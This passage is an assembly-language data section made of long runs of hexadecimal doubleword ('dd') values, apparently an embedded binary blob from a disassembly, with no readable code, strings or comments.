2C8DD945h, 0B3ED44E9h dd 72881A0Eh, 2335409Ch, 785C4C48h, 74080ECEh, 12E0C682h dd 8CF676BDh, 2FD6CA0Ch, 594F8FCh, 794CC061h, 9DBC413Ah dd 80A00F0Dh, 4BDFD7A9h, 1499BB94h, 0D4D9D389h, 0E9BC4139h dd 3157921Fh, 0CF5B0739h, 5DEAA4F8h, 0C8C88F54h, 6A60D806h dd 294F0Fh, 0C218384Ch, 7FD5C096h, 0AA648601h, 0EFAF9E53h dd 0B53902F3h, 0C8471635h, 0B9D8080h, 6D0F49B9h, 0E1C317F5h dd 3EDB9132h, 0FB0820h, 66F826F1h, 9F7D3B89h, 0AF00AA70h dd 6F34E4A7h, 146425Fh, 0A6454B6h, 0E1437B69h, 3078DCB2h dd 117D6C31h, 20C85502h, 0BABD00A8h, 0C89CB39Fh, 3C01826Eh dd 0C49992F0h, 3C21D3EEh, 824EBE9h, 0B6E93A75h, 72C450h dd 0F8DA8B47h, 791F24CCh, 58360200h, 0BF2BE9D1h, 88643B7Ch dd 9100E448h, 0C2D47257h, 3B0046E2h, 0A211B562h, 70F07B0h dd 20D6DCF7h, 0A70069A4h, 0ED1CEB34h, 0F1EA5A0Ch, 99B006h dd 13FB8B74h, 0D7F98FC5h, 8DE92919h, 4ADCCD10h, 64100E21h dd 0D9402474h, 2662A9Ch, 3D808600h, 0B3BC36FDh, 921F0F9Fh dd 0A78087A3h, 0F5CF7C38h, 23D18C00h, 79EDFFC0h, 9D7006h dd 0F93181D0h, 77033099h, 0ABEC050Fh, 0D68080B5h, 726EA568h dd 0CDFB1CEFh, 4F76C03Bh, 0C62FC48Eh, 64C99E00h, 356378Bh dd 428500CFh, 6ACC3879h, 450005D2h, 1EADDB96h, 2538BFAh dd 5C9ABB41h, 0B480F77Eh, 541B8D6Ch, 8118E809h, 0A80C200Fh dd 0F06273CFh, 2A4100E4h, 6F186370h, 0AA01159Ch, 0E5D046E6h dd 8C40835Ah, 38DDDE4Ch, 0E00B318h, 59248907h, 500041B1h dd 0E8CEE6F8h, 1EEF23E1h, 3F6561h, 6699B777h, 673B6881h dd 0EB928BA6h, 0E28EF7h, 0BE2AA3FEh, 735D047Fh, 0C08384F8h dd 36A5B29Ch, 28107A00h, 0FC543370h, 8B9500FAh, 9C3B4163h dd 0FD6096CCh, 78C1CD8h, 0AED10768h, 0C99D4FC3h, 406748B8h dd 53F14A61h, 0C422B219h, 0A20A7A60h, 3C1D9C4Ch, 88247968h dd 57E2FE00h, 0E85E9Ah, 7E197DDh, 1D34E793h, 7ADEAF06h dd 20818945h, 0EC508D4Fh, 40882CACh, 0F8EA483Ch, 611200DCh dd 0C995876Ah, 0A7095798h, 0A0478DA1h, 5C99CC04h, 48ED7ACFh dd 700C4FEh, 6AC49178h, 410610FAh, 0EF3A318Eh, 0D775397Ah dd 5704F180h, 6922FB80h, 5F91120Ch, 0F020C09Ah, 257E94h dd 1359ECD9h, 78D41E4Ch, 2C45E33Fh, 0EE197782h, 0D06066FEh dd 384005C5h, 8063BF12h, 14295C8h, 230306FEh, 0EEB19991h dd 93F000FCh, 564F1C8Bh, 0A4C44CFh, 2BD000Ch, 9AB55E53h dd 0E5DE00A6h, 988894BEh, 50C055F7h, 0C2D9C197h, 105067F2h dd 0CC8890C9h, 0B607A442h, 27307DBAh, 0D67F5590h, 0BE1B1323h dd 0D1104040h, 3D5692D7h, 89066C3Fh, 80597CF6h, 5103F179h dd 1E70F91Eh, 5D870052h, 0D81CCC04h, 483D6083h, 1DE4CC98h dd 0D4E11CAh, 0B28647BAh, 0E72C90F9h, 560B0331h, 7430289Bh dd 0B6C0A000h, 0FCCA47ACh, 5AA000CCh, 0FE9C79Dh, 7B00FB3Ch dd 84D42D6Fh, 0FDBB05h, 0B35FF5A1h, 14E41F73h, 80AB2500h dd 0C433990Eh, 54883FE3h, 75A0A928h, 0D8B45C66h, 0E58ED00h dd 9B770CB9h, 0EBA92200h, 9FC5F225h, 0EFE200D1h, 71F16D83h dd 7B02CFAEh, 29085DD3h, 985A63A6h, 0FA581Ch, 7E24BF2Dh dd 319ED9E3h, 0FB8C4500h, 0D8B408E8h, 88BA0012h, 233A9D52h dd 3F01064Ch, 8DEA1184h, 0E0C2BF97h, 105FE9h, 0E419A2F9h dd 61A060B5h, 0F49CC729h, 92E16860h, 197260h, 8062FAEDh dd 0BFE5510Dh, 252BFF03h, 3E9359AEh, 3F804511h, 0AB9079EFh dd 9E00106Bh, 234BB277h, 0C7F33822h, 1099C629h, 3A980C7Bh dd 0B6495A00h, 96844F95h, 21F0B86h, 0D4249D71h, 6AEAC0E3h dd 6F025248h, 5481D4FEh, 1B8CC0D2h, 0E66800C8h, 0A7ED4B34h dd 4800D15Bh, 0D898B320h, 3B825CD5h, 0C112B68Fh, 0C34C80BCh dd 0BD009A46h, 0F269E9F8h, 0E35ED5h, 0BF634B5h, 0CC717947h dd 4B081502h, 0C1E8E48Bh, 5CE06035h, 0D32A0361h, 0C19E7AB8h dd 487D60AFh, 0FD09225Ah, 0ED077Fh, 0B35E6D60h, 0B8F00EBEh dd 9A411852h, 0C33703FFh, 0DE9D50F8h, 0D4361502h, 41B021AEh dd 0EC60CDE1h, 9C5B007Ch, 99E614C2h, 500139ADh, 40E2293Ch dd 9030FFA7h, 21D90356h, 7CBD7169h, 3A8AC0C0h, 0F339DB00h dd 5AF4649Dh, 4CEF7721h, 283C4CCBh, 0B031680h, 0BAEA8CC3h dd 0B0A9D824h, 0E772AC00h, 0EC2EE3h, 205721B5h, 3371760Dh dd 4412D216h, 0CDFF3000h, 98454331h, 903F00B6h, 0A3586A21h dd 127EE570h, 3403448h, 48C68E37h, 0A4B2A8F7h, 7C300C7h dd 3A8D17C4h, 0F400ED69h, 1360D640h, 1C0A87D3h, 415B823Fh dd 69EDD48h, 88808226h, 0D45A51ABh, 61C40B60h, 0D7507880h dd 0B500F647h, 75B16E4Ah, 9511964h, 44353267h, 3E91CA0h dd 0A2009710h, 8F66E848h, 4DB53B7h, 0BEE23D55h, 2B0C187h dd 0AB9F834h, 3C997D00h, 1827EDABh, 0D28400C0h, 6BA87F54h dd 2A7C7AF2h, 0B250781Fh, 60BBDBCEh, 8943FFD2h, 0DA9400E4h dd 429AE866h, 84002062h, 631CB650h, 7ABCF07h, 0F47F7B34h dd 9BC5B0F6h, 0A300F2D6h, 4CA050C0h, 1A696Dh, 6652C4F3h dd 457198BDh, 954D000h dd 36A4CBBEh, 3590085h, 2381A55Ch, 4504BDD6h, 0B7D180DBh dd 502D38C0h, 3DD82602h, 2E2850h, 1857993Eh, 17655256h dd 8BE8FD26h, 92A83B01h, 0A6E062E0h, 0B94E0132h, 5911C7F2h dd 25ADE8DFh, 53443E00h, 0C4EDE0CAh, 66DD009Ah, 0C837A8D2h dd 0A9171E2Bh, 0BC0F5AC9h, 14B1843Fh, 34C4A0h, 940B4A9Fh dd 0F4C0813Bh, 0E9D6360Ch, 0E3F1828h, 5A7ACCC9h, 2825B7CBh dd 0F9A400EFh, 0FB5D904Bh, 133A4704h, 0A0A04621h, 69640039h dd 551DD950h, 9B09596Dh, 7D2C8EAh, 0A9497Ch, 262FFBA8h dd 35774C73h, 246450h, 0A55879F0h, 3BE10268h, 4C75FC01h dd 0FB4EDF77h, 93C02831h, 0A1C50D89h, 6110A8D8h, 17FE0E3h dd 0F321CFh, 9638EDDAh, 0CDCF0016h, 0B6186050h, 621D77A5h dd 6340536Bh, 9910D7E5h, 0EF20B5Bh, 630033C8h, 7889CBDBh dd 5F15D20Eh, 871B00E3h, 0F5796Ah, 37B7DDA7h, 0B6DE7641h dd 99173E00h, 66E36714h, 0B877BEAh, 71A77AFAh, 7FFB3100h dd 24B29145h, 0E8A48912h, 50F0745Dh, 0E28A5FCFh, 0B9FC1E53h dd 0F20F803Fh, 7AEAB35Dh, 2A7DFBE2h, 1EB24F00h, 3C3D07Bh dd 78013D9Eh, 0B5C02C8Ch, 0A3E22218h, 0A79FB200h, 734335FDh dd 0F3FC1872h, 0C0D920AEh, 7858E830h, 1B524AFDh, 308C3622h dd 5349EDF0h, 89FAE412h, 189E380Ch, 0F6FC186Bh, 788840ECh dd 0A31E7678h, 1D3914FFh, 0F7E0526Ah, 0C0BC15F4h, 409A3EE1h dd 0EA39BB90h, 1006CB60h, 7821AB6Ch, 6B89C3C5h, 5100A02Ch dd 0CFDF4CBh, 0C0278C94h, 0C31D12D0h, 0E914A786h, 20D755h dd 0CDB37CFFh, 0DF8068B8h, 0C8E50548h, 0C375C398h, 5066100Fh dd 3C0480A5h, 0B09DB2A6h, 0A460CCF8h, 0A900E171h, 76987A57h dd 0D70FB5h, 1833D629h, 0E702B03Eh, 14D24000h, 6E4F8032h dd 0BDEC00A1h, 0B2395ED3h, 503F5672h, 7FD41D46h, 0CB4CE303h dd 0B502D874h, 353900CDh, 8786068Dh, 0F00F6DDh, 4A8EE73h dd 0C1D11D24h, 0CBFCC390h, 0C22D6h, 293ADB8Dh, 1999772Eh dd 8A72895h, 5828B1h, 6F3ADAE7h, 1C84587h, 0B60A5E9Bh dd 0C9623C25h, 0C5B84092h, 4E283A37h, 0F712CC9Fh, 0D6E8542Ch dd 0CACB2E00h, 0D7D6EE32h, 7A1424E0h, 0BC447712h, 0FC43B5h dd 1C6D120h, 723DB82Eh, 0BE6A1837h, 0FC2578A2h, 33865320h dd 0D638C8ADh, 0F80041E6h, 0A7EA0CFh, 929104EBh, 22160A10h dd 3A209FD6h, 883C90FCh, 123665F0h, 43752E22h, 0BE802C70h dd 6A18207Ch, 0C199B06h, 788DFB10h, 0FD71BEB1h, 40CE617Eh dd 70FFC703h, 3C14A0B8h, 48027FAh, 8865D6CFh, 4860CEA8h dd 55DE2571h, 0A214F91Ch, 1EC0519Eh, 0ADF76354h, 28720008h dd 88911BDCh, 0BF00F52Eh, 7E8F0C57h, 0FFD8EE70h, 38CC0DDCh dd 25C8C9DFh, 0A7F38807h, 0F49BC0A2h, 6400BD82h, 7E162351h dd 98D30E35h, 20D80018h, 524EC3C9h, 0C60027E6h, 0FA16662Ah dd 0B096732Dh, 4475011Ah, 265AB847h, 51E8FFE2h, 9B00096Bh dd 2F1661F1h, 1F3BEA5Bh, 0D5406Eh, 5A7E056Dh, 0D2008598h dd 49901B4h, 63E3FDh, 65F39EB2h, 0A2E1BC4h, 5E454D00h dd 0FA44A25h, 170788Ch, 8D39C867h, 40857211h, 214DA89Ah dd 0DD673E98h, 8BCC528h, 720713Dh, 0C339C0A2h, 7BDCB332h dd 0A6E58080h, 84661100h, 0B872D605h, 0F42B0721h, 9376EB23h dd 4003A280h, 8E90794Ah, 0C6300322h, 0DDA3C21Ch, 619A1B91h dd 0B81881DFh, 1454DA8Bh, 0C012AD70h, 0B0AAA438h, 0C1008322h dd 0CB1153BDh, 0C2B8B2h, 2165E6CEh, 0FE6A91D5h, 46A22500h dd 0F70F0ABDh, 103C6F19h, 230106C8h, 99592144h, 5FC29181h dd 0F4B0EF67h, 3F0609D7h, 957ED683h, 98871521h, 0A2069821h dd 9113395Bh, 3F1ABF00h, 48E9539Bh, 0D4300F51h, 0FC76E8ABh dd 0A95D01E2h, 0B5153750h, 62FCD0h, 962F9FD8h, 0B9A4B34Ah dd 3687DC00h, 5E20DF3Dh, 5B06009Bh, 0B76D99FFh, 53A924Ah dd 217530B6h, 5B1E7Ch, 6FC4E2F3h, 25F2ED40h, 48995500h dd 0C5218F56h, 0FF660058h, 0BD61A594h, 7800ABB8h, 5E74B33Dh dd 0C4B2B13Bh, 1B1F2C18h, 0E22E059h, 1D3B843h, 0D80A2D0Dh dd 9D69FB67h, 440C410h, 5C934941h, 4338DFA8h, 0DC38DB1Bh dd 723F4100h, 0DF47A9F5h, 5A3719AAh, 80D908D7h, 0F5D11A21h dd 0DA0696h, 0D62B16Bh, 0BE7AF623h, 601028A3h, 4400A3ECh dd 552E4D5Bh, 881F8DBAh, 41C1E6AFh, 0DD282126h, 1C54FBC0h dd 7DBF327Eh, 0EEE87780h, 4039AEA5h, 31F68700h, 0C779549Eh dd 2C84008Fh, 7E104557h, 5D00A398h, 821B01D7h, 0F0835Ch dd 13EDB2A4h, 7C2677F6h, 0F208C900h, 0AF3ED00Fh, 28C300E1h dd 8BEC517Fh, 7C00A156h, 9676B0C7h, 0C5EB47h, 49426783h dd 5907D1DAh, 0D368B00h, 0DCE840C0h, 0C7EA7Ch, 0ABFD2F5Bh dd 0B5D99F01h, 0AC388A00h, 0A7546903h, 0AFDF001Bh, 0C04084DAh dd 0BF0FE8B6h, 21BE9AA8h, 0F3F66918h, 352830h, 0B20B1DB1h dd 0F7C27EE7h, 5B8A28C0h, 1EDB90h, 0F93805EAh, 3547650h dd 0E9271F00h, 0D63E0BCDh, 0B51303B0h, 0D59534A8h, 0DE83800h dd 3A78C136h, 68210046h, 5E38BB01h, 8265750h, 42063D7Ch dd 30D9CAh, 0F401273Fh, 3D7DA5D8h, 134B840Eh, 0DD2FA12Bh dd 55F0DA92h, 0D49530CCh, 0B04B6161h, 2B307200h, 0C96D94B3h dd 46DE00A5h, 3E73E1Ch, 8905D8C1h, 0FCD9BA25h, 0A399A4C0h dd 0F52D00C0h, 40C224CCh, 157613E7h, 2BD37914h, 81F8070Ch dd 49C13075h, 3C000E43h, 0B3F03E26h, 28F4F630h, 0E11FECEh dd 8C0C10A2h, 209EC160h, 600A12Dh, 2616E038h, 0F61BA595h dd 97A8A8DFh, 37C1C010h, 3C969E4Dh, 0E3073800h, 3276D769h dd 3BB37A97h, 78601349h, 0E8C1535Ch, 0D26B5200h, 0AE702643h dd 0C7F70777h, 0D0551099h, 6793DA42h, 371B2400h, 3E94B080h dd 72FC7Dh, 0B333732Ah, 0FF995663h, 54264B71h, 9F1D2319h dd 4817550Dh, 62F0040Eh, 5F7CDDD4h, 9F02B100h, 0DE61B732h dd 108B0307h, 0EBAC5D6Dh, 0C54F6298h, 0B2041906h, 42296BD2h dd 0ADF611C2h, 6E42847Eh, 4F104621h, 3EBE3788h, 6A200071h dd 0D5415291h, 0E4AF008Ah, 1733592Eh, 0FC0EF6D8h, 1FDF54ABh dd 0C4CADB47h, 2548BE00h, 877E077Ah, 6E4A74D8h, 0E45507h dd 0A2AF1F85h, 8E1EC100h, 793E2BB3h, 968D58B7h, 0F4B2F000h dd 0D49B0FE7h, 8813AA28h, 48C27A00h, 0EAB57411h, 672D00BCh dd 0FF6465A4h, 4D90A945h, 2431FC01h, 0EDD823E0h, 7C91149Dh dd 66CF5D00h, 10845C0Eh, 0DF055102h, 61A13EEEh, 0F0FF1B78h dd 44A639h, 8682DD11h, 486214F8h, 0FE3E2CF4h, 40AE00ABh dd 9C4CE2FFh, 430300F9h, 0BDBCF082h, 1200C966h, 0C3881DA5h dd 114D34h, 3EC4A2BAh, 6F9F44D3h, 0AA24E000h, 17367CBBh dd 50F70375h, 3D566B90h, 0DAE593A0h, 0F0FF197Dh, 0AEF0650Ch dd 6FECC800h, 991AF782h, 0F64121Ch, 8D0C0315h, 0B4B9FDB0h dd 26F1F0E8h, 982D8601h, 0E627C442h, 3A841920h, 5C80B4D5h dd 5B992087h, 58004E15h, 0A42C86BFh, 0E23FD8FFh, 0F9760790h dd 5017F502h, 136D34ECh, 0D7520F00h, 0DACE5120h, 0DF5A12DCh dd 67F00481h, 0FB3C0FCh, 7F01687Bh, 9163B413h, 0A3F47566h dd 0BBBC3C8Fh, 0F3C300F8h, 0AF1021A4h, 0F700C893h, 4446E4F5h dd 0C03AE3h, 8C15F9C4h, 1B306145h, 28026501h, 0AAC8864h dd 0A79EB8D3h, 90B004BEh, 0C0CEB5A5h, 693177E7h, 99CFA800h dd 0D2F52753h, 8C0350E5h dd 25C38B0h, 0DFDA5880h, 0BF18C7E1h, 3272C300h, 68F4A128h dd 8DD41D07h, 0CF6C40ECh, 0DABED640h, 260035F8h, 3FC41096h dd 0E4B1F5h, 0D2A880FDh, 3C8A3236h, 3EA1BC03h, 882F5514h dd 0ECE802h, 88BDAABBh, 6F37C070h, 0C54AD900h, 2765C221h dd 309305FAh, 8007B2ACh, 0B6FEBF4Bh, 0E80053EEh, 6D0F82C1h dd 0E5F9Ch, 2611D91Bh, 5125DE6h, 0FD0392FCh, 0A6387D28h dd 3BECF1D0h, 0F93D8C3h, 5A8D00D1h, 0E6AD2A98h, 9C058B3Ch dd 2C29A643h, 0EAF32E80h, 0B5BC0048h, 0AEC5A68h, 200806Ah dd 250EF2ACh, 0C1F73Ch, 0A397F041h, 965A933Fh, 68FAD400h dd 518B29ECh, 0BC7A22h, 31B619F9h, 939FAB2Eh, 0CCFA6400h dd 8B6506A6h, 528112DAh, 89E600F5h, 0EC62CF1Fh, 804BCA3Fh dd 7FFE82Eh, 58E5BF4Ah, 0A7007739h, 3A421B78h, 1F0023EAh dd 0BD9EC01Ah, 7D75629h, 0ADA8BB25h, 3346A1F3h, 82FC2012h dd 6D32D600h, 8F0A2EB2h, 0A173010Eh, 0F2107624h, 0BCB4C844h dd 8195FE00h, 8F062C1h, 0F6CD099Eh, 3420EAEFh, 0A34234A7h dd 1F83C104h, 40C086DAh, 5E81E2h, 49E6CF92h, 9D2CC6D4h dd 0D0484BF0h, 91B00C8h, 23DFF267h, 437703FEh, 15E10E50h dd 32426900h, 0FD84068h, 0E4E600D7h, 67654508h, 2A00D13Eh dd 761056F1h, 17BCF7AFh, 333B13h, 0A7140DD0h, 0C13CB8F0h dd 2B7E810Bh, 0D69767F2h, 261F34D4h, 79AE896h, 0CFDC14E9h dd 60704F12h, 0EB27220h, 6DFCAF55h, 8015A83Ch, 283B8F5Dh dd 31C6EA3h, 0F874FB04h, 9678A4FCh, 0AAE58401h, 127BC62Ah dd 10B5A050h, 0C78524EAh, 8DFA0270h, 2B00A02Eh, 4CB32627h dd 0B7CB4B2h, 176DBA16h, 96809201h, 62B7C4CFh, 8A4CD490h dd 428F023Ch, 68A53226h, 78B03350h, 5BB804FCh, 4029F2D5h dd 61CFFE69h, 917A38A5h, 7D784207h, 55E0C0B7h, 0E50EA1BEh dd 9CFBB8F3h, 0FD82509Eh, 60C0B252h, 3FBEE6h, 925F0DDEh dd 0C6C9E544h, 0D8B62F00h, 0D3051C91h, 0EED10084h, 28DD3EE8h dd 0E0057C7h, 1D892545h, 4B2709h, 0E55E8B2Ah, 0F17C4C0Fh dd 354DD00Eh, 0CAF08056h, 76BA30DCh, 0A4A60020h, 180CC34Bh dd 2C5874D4h, 0AD1617FAh, 0D9555A00h, 0A57A1Ch, 8A5F3704h dd 0BD3F3128h, 80AEC83Fh, 8C527E6Bh, 3C0CB7F5h, 68802F88h dd 0C990CB64h, 33004A42h, 9C633CF7h, 5E5BDDh, 0EC024BA7h dd 959D1DCEh, 27AC2607h, 8D03C2BDh, 9A5AD8D8h, 0DB4300B9h dd 45E23435h, 0D4091302h, 7995F0h, 8D5A1658h, 0FFF673h dd 0C56564A1h, 0C05ED1F5h, 23AB3300h, 0DBCBADE9h, 43390010h dd 3DC75179h, 0D20037EFh, 0EE4ACE19h, 0C456F5h, 0A0C49B5h dd 4CB6F2FAh, 62F81D00h, 25AC1B32h, 0F1740003h, 0F42BC9F3h dd 73006311h, 0D62833E1h, 0B1EB7Bh, 4353F807h, 84B83F64h dd 312F3800h, 1860DEB4h, 8666011Eh, 7164FD6Eh, 0DB5AD8D7h dd 729ACE00h, 0FAC888D5h, 94701F08h, 4F6EDCDDh, 0C03EF602h dd 0A1F1CE45h, 0C60030AFh, 0F76C8F03h, 0E93C0Ch, 0FDC08436h dd 22D93E20h, 73E78200h, 297F0F1Fh, 1D0A009Fh, 84911E0h dd 950E3B7Dh, 8094928Eh, 9881BE43h, 11910017h, 40A97F8Ch dd 6892E020h, 2E306C00h, 728BFABFh, 16D379DBh, 58D32D2h dd 0D00195F8h, 0D780297Ch, 0BFFF3D00h, 0D4D145A3h, 2A69017Eh dd 0B256E83Ch, 2CD7DCE0h, 0BCCCB924h, 0EDA92E00h, 2E270B4Bh dd 260C6549h, 63F000B1h, 0BD7C1F9Ah, 0CD56081Eh, 0F4DE060Ah dd 0D77A4B07h, 6AC0BCF0h, 92FEEA2h, 608AB8EBh, 0CF005389h dd 10BF3ECFh, 0AE00C878h, 4CDB1FB5h, 92B3C683h, 0F4F20034h dd 817D1EDEh, 0CF989F1Ch, 15237C03h, 0B79202ADh, 0B74FD440h dd 0CCA40010h, 95748EE9h, 0E000D9E2h, 5812F80h, 304D83A3h dd 4678A2E6h, 0E900C382h, 0A03EC9F0h, 303B65h, 28521FD6h dd 54BCE56Ah, 0BF47700h, 4B9CEC13h, 0A1E8076Dh, 4030A531h dd 2F63C4E1h, 0F1522216h, 0FCADA403h, 0B87688E9h, 339309EEh dd 9041FDDFh, 0A4860A8h, 0F7C29016h, 0B1AD3800h, 1F1ACAEBh dd 474CABA0h, 0D0669C7Fh, 18076420h, 0D2C4ED54h, 8065E00h dd 0A9EEF4BBh, 98E413FCh, 0E2884430h, 8501C075h, 6DE6E680h dd 2C1C141Eh, 52E9C5C0h, 73FD0Ch, 3E3313D2h, 0C81187A1h dd 2AFADA00h, 3C59F59h, 321C0072h, 299CD50Fh, 7AFAA639h dd 0FBB2F200h, 0C86BE944h, 1A21071Fh, 8EDB12DCh, 0C56F4CA0h dd 3500D829h, 9224B707h, 88AD36h, 0C7F6C1CDh, 15108558h dd 0BF343B01h, 0E9C411Ah, 0D012F1DFh, 6501180h, 48B3B8C4h dd 5FEBAE1Dh, 0A0DF83CEh, 0F90D1B29h, 1C6900AAh, 86459F4Ah dd 0B801B401h, 6D628A2Ah, 0ED603437h, 9D660304h, 0F59BCDA5h dd 0EE45ACB0h, 8F071074h, 70B71ACCh, 51C34280h, 0F498C8h dd 0A9113676h, 9B43263Fh, 8F351403h, 0B012F4CBh, 26602244h dd 126C346Ch, 7BA0D04Ah, 9305D330h, 1428EFF2h, 32805085h dd 7244EBCEh, 0C198032Dh, 4D45C725h, 0B9D0B20Fh, 605B4E3Ch dd 0F4D794B8h, 0C515006Eh, 0DD89CD7Dh, 502442E8h, 0D0801462h dd 525FBD60h, 0F29C0320h, 0B065EF3Bh, 2A1217C8h, 9ADA3A01h dd 0BD55C337h, 1A14C02Ch, 0DC03207Fh, 0DD8A1D0Eh, 14970816h dd 8255C840h, 4BDEF204h, 29C1E9Dh, 6EC58A43h, 70122486h dd 0F4BCAA0Ch, 46515Bh, 0D76C9AF1h, 32439065h, 521A2314h dd 0C2C82038h, 592263C8h, 3C34318h, 0C5232A5Fh, 53A38A5Eh dd 0E2AAF0C0h, 0C4A81855h, 9860F612h, 0F48C8480h, 7F6D0063h dd 0E30419E6h, 4F00F713h, 5F90D3B4h, 0F8B633h, 455DA3F6h dd 4714A60Ah, 80D02B3Fh, 0EE49146h, 5031CE65h, 9998CBh dd 76B115B0h, 0A9E07F53h, 0B650A000h, 2298D788h, 91720027h dd 0C4FD40C6h, 0BB065DE7h, 1EF4628Ch, 3BC7EEA0h, 0C300906Dh dd 0CC7DB34Dh, 0FD00AA2Dh, 992A6857h, 0C030C698h, 0DFFC8BF0h dd 0F0016427h, 7B115ED7h, 95D04105h, 7F1F01F7h, 0CEC5F354h dd 0FCC85102h, 1A0399Ah, 0F954443h, 0D5C0F6E4h, 13DE0036h dd 7EB3750h, 9207D1D7h, 63874E42h, 0DBC7BD21h, 197EC48h dd 6DDF5CD0h, 0CC939E05h, 6A00041Ah, 0C4F91179h, 0C090A155h dd 886C9C18h, 0F4543DFCh, 0CF306190h, 7C094804h, 6EDE00CBh dd 34F95DDAh, 0BC3F3960h, 0A3300240h, 0A2026DB9h, 0C0D1718Ch dd 61D693h, 0A20A1B8Ah, 153C6235h, 5D174401h, 4C632AB5h dd 0F12BE4h, 0F0EF0899h, 47C28CD5h, 4D67F301h, 9556FBC1h dd 329FB2F8h, 6110C462h, 8C8604B7h, 102B64h, 25A8FEEh dd 0C9708D80h, 3E946C39h, 0CE8900B7h, 0DA32E58Ch, 0CBE00C91h dd 64280438h, 2FC9E88h, 0F0562D7Bh, 60C0CDDFh, 37781F06h dd 773C38h, 5EFCC594h, 0E09EC446h, 234A009Ah, 1B6A7FE2h dd 3B006247h, 7A2CDE76h, 0A09C4Fh, 671582F0h, 25CB1CA1h dd 40AB6900h, 63B8BBAAh, 7DB50024h, 0FC39A3B3h, 0CB0027B7h dd 0D2F9C678h, 0F93E618h, 245E19BAh, 0A14538E3h, 3B0CF2B7h dd 118C7660h, 0F248DF00h, 7E53929Dh, 6B1700F8h, 9BC91D16h dd 86772B8Ah, 0B8EECD01h, 8DF09150h, 27F5B840h, 19A900C6h dd 9DE485AFh, 900073B8h, 0D3513D98h, 75710Ch, 0CE811CFBh dd 0FC9F9663h, 9BEEF701h, 0B3B60965h, 0B613270h, 540CBDF5h dd 0FC92A000h, 4F3B068Dh, 493A00C2h, 0DC765FAh, 0B66B008Ch dd 51AC2B6Ah, 910087B3h, 30483D7Bh, 8A1E7Fh, 8B4BB455h dd 860F5D53h, 35810E1Ch dd 17C23640h, 0EDDD0B5h, 8FF8084Ch, 0E663F900h, 360025DAh dd 8AC5B3C3h, 87FD86h, 960B600Eh, 7D177569h, 7B6B7200h dd 443FAADh, 6C350042h, 1D5F8BD8h, 0B90241F5h, 24223ECEh dd 0F2204125h, 0FA52C0FEh, 34E01201h, 91CA0080h, 5E298DA0h dd 83194D3Ah, 84240918h, 0D87BC026h, 0F360761h, 0A09778DAh dd 72B4BD5Fh, 309B7500h, 4599D97Eh, 1F70F722h, 0FA8407CBh dd 0E397EB4Eh, 0FDC02AC4h, 93F2E2D3h, 5D055CF8h, 0C6F41856h dd 8D460EBAh, 0EBC9CAA0h, 0B10084A7h, 19BEED6Ah, 0A6CFF10h dd 883B3662h, 8A1800ECh, 11E6AE7Fh, 0CD000FFEh, 93E2246Fh dd 38A745h, 1C0BBC1Bh, 0A8850353h, 0DE30F52Ch, 0ED25103h dd 3DC3E8FDh, 0E4DF01FAh, 465A331Fh, 9A7887D7h, 75004448h dd 1D285831h, 0C0F514FBh, 76ABDAE8h, 90082F9h, 0C485D664h dd 322B20h, 0B8C95CE7h, 0AC574834h, 1901F000h, 4598A61Bh dd 70FC00F5h, 29856469h, 9424542Bh, 360CE8FAh, 0A6C826h dd 3E01329Eh, 0D3809627h, 699A200h, 0D6693F1h, 864301EFh dd 3D6A4450h, 20B3D1DDh, 94904EC9h, 74730900h, 0CB8D7D25h dd 0B895002Bh, 0F104189Eh, 9005FBA7h, 6048AB1Fh, 0AAA4FC00h dd 8F15ADh, 342D021Ah, 1CB6CF65h, 8890F300h, 0F5068B7Eh dd 0EC66F8CCh, 0D4890342h, 449A9656h, 2582701Ch, 19FDD347h dd 0D806C6A0h, 3B733C54h, 94C83306h, 96188893h, 1BE8CFBBh dd 138E00EBh, 945E8B55h, 9DFCB0F1h, 0AD8F5F00h, 77C6D8BFh dd 3B61F76Bh, 3695E8h, 3E7E4027h, 3163852Bh, 0D0004270h dd 25E5A206h, 3804C04Ch, 5587CC0Ah, 0E046D111h, 92A20317h dd 4C0A3458h, 0C9ED04C1h, 5881EB5Bh, 7BF866EEh, 864E0FC8h dd 40A70DDEh, 6008A75Ch, 88226AAFh, 0A2002390h, 4B79EBF3h dd 1F5FC1h, 71F73F6Ch, 0F2F18641h, 0FD33E203h, 9234583h dd 5B7F310h, 4AC7B580h, 107B932h, 0C4162E43h, 4CFB7470h dd 0A50600B1h, 0F2608203h, 0D7076A93h, 8F3C9B19h, 0BEABE8E0h dd 13060BF3h, 7D00888Ch, 1B71EC0Ah, 57157000h, 9AB52E38h dd 0C8515875h, 0FB0F8848h, 59403F76h, 17F2CC5Fh, 7A31C607h dd 60CFFCA7h, 11A282EAh, 30FF00DAh, 6EC65CDCh, 6112FE08h dd 81E5588h, 0F6944Bh, 70E44D28h, 0BC908Bh, 2D39A277h dd 8449513Ah, 300D2407h, 63802A78h, 0CA655Ch, 9B9CFE0Ah dd 98B740FAh, 9E96F3Ch, 677A34h, 44A9DE7Ch, 0F089005Dh dd 43E28129h, 0A5EE1C96h, 8253991Ch, 955923C1h, 67DC6655h dd 3E0C01A4h, 26E41E3Ch, 0CC14F44Bh, 8CCB3A00h, 3F097FA5h dd 118301C0h, 46E63D77h, 1518808Dh, 435FC828h, 0AAEC0002h dd 8F212738h, 4D00C01Fh, 0D7B330EDh, 0CD157Bh, 398150D4h dd 780941F2h, 0D8B6CA00h, 1AE25713h, 3282CD0h, 0E7997B8h dd 8F2044BBh, 3858556Bh, 0F2CED700h, 64375AF0h, 42320113h dd 0DFA4104h, 2AC22A4h, 625545FBh, 0D67EC08Ah, 0F5DF129Ah dd 0A5B000FAh, 0BF33CC09h, 5A00849Ah, 5E73FB8h, 1E56A68Dh dd 47690F43h, 200DC3CBh, 0E404E2B1h, 0BEA20FAh, 8101C871h dd 0F97BB4ABh, 0A12052BEh, 4DEB00B5h, 94BD70D2h, 75775F35h dd 0E44B7705h, 43C002A8h, 521986h, 2B6DE572h, 9F01DFCFh dd 0EE317004h, 0C0C0E4CCh, 137F91h, 241D71D8h, 92DB5CBFh dd 3FBB032Ch, 0A7D49F0Bh, 3CF05044h, 0E6F172h, 5D96F2AEh dd 121D7D26h, 7FFED400h, 145F0ECh, 0C49E0068h, 40490480h dd 0C30082F3h, 5C054FCEh, 989155h, 7A5490D7h, 22E8492Bh dd 7BE1AB05h, 0C4402DCFh, 9CEE9A6h, 0D7200382h, 7BE2E779h dd 8A1041F5h, 19A09C9h, 13D02A04h, 7254017h, 75C538C3h dd 0DBCF90A6h, 0A45E00EFh, 3D71A873h, 263FE823h, 575C002Bh dd 80D322E6h, 0B8E9C0C9h, 69497104h, 0A8E78E01h, 0C06A0CAEh dd 0F3C874h, 4F5B225Eh, 